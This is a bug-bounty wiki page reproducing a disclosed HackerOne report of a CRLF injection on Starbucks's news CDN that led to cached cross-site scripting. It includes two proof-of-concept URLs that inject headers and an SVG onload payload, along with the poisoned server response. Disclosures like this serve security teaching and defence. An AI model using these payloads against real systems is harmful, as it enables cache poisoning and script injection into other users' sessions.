Skip to content
XSS Disclosed report Intermediate

[newscdn.starbucks.com] CRLF Injection, XSS

A CRLF injection in a URL allowed injecting HTTP headers and a body with an SVG onload handler, leading to XSS when the cached response was served.

bobrov Follow

Originally disclosed on HackerOne

  • Triaged in 9 days
  • Fixed in 49 days
  • Disclosed after 3 months

PoC (FireFox)

http://newscdn.starbucks.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e

After sending the request through FireFox this query is saved in cache and using a small trick can be made to work it in another browser.

PoC (Chrome) Make sure you send this request after FireFox and previous http response contained the header X-Cache: HIT

http://newscdn.starbucks.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e

HTTP Response

HTTP
HTTP/1.1 200 OK
Date: Tue, 20 Dec 2016 14:34:03 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 22907
Connection: close
X-Frame-Options: SAMEORIGIN
Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT
ETag: "842fe-597b-54415a5c97a80"
Vary: Accept-Encoding
X-UA-Compatible: IE=edge
Server: NetDNA-cache/2.2
Link: <https://news.starbucks.com/
Content-Length:35
X-XSS-Protection:0

23
<svg onload=alert(document.domain)>
0

The original report as published on HackerOne, by bobrov. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

What the attacker needed

Victim visits crafted URL; cache must be poisoned first

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The server did not clean special characters in the URL, so an attacker could add extra header lines and a fake page. Opening the link ran a script in the browser, which is cross-site scripting.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by bobrov

View all

39 more disclosed reports, best first.

More from Starbucks

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.